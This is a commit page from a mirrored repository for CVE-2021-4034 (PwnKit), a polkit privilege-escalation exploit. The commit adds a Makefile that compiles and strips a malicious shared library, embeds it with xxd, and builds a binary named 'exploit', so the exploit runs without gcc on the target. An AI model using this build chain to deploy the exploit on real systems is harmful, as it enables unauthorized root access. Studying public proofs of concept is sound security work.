1
0
Fork 0
mirror of https://github.com/arthepsy/CVE-2021-4034.git synced 2025-06-08 12:14:56 +01:00

embed pwnkit.so (no gcc required anymore)

This commit is contained in:
Ilya V. Matveychikov 2022-01-27 17:33:51 +00:00
parent 0e48795ab0
commit d63e5435ff
3 changed files with 36 additions and 14 deletions

21
Makefile Normal file
View file

@ -0,0 +1,21 @@
define do_strip
strip -R ".jcr" \
-R ".comment" \
-R ".eh_frame" \
-R ".eh_frame_hdr" \
-R ".note.gnu.build-id" \
--strip-debug \
--strip-unneeded $(1)
endef
exploit: FORCE
gcc pwnkit.c -o pwnkit.so -shared -fPIC
@$(call do_strip,pwnkit.so)
xxd -i pwnkit.so >pwnkit.so.inc
gcc cve-2021-4034-poc.c -o exploit
@$(call do_strip,exploit)
clean:
rm -f pwnkit.so pwnkit.so.inc exploit
FORCE: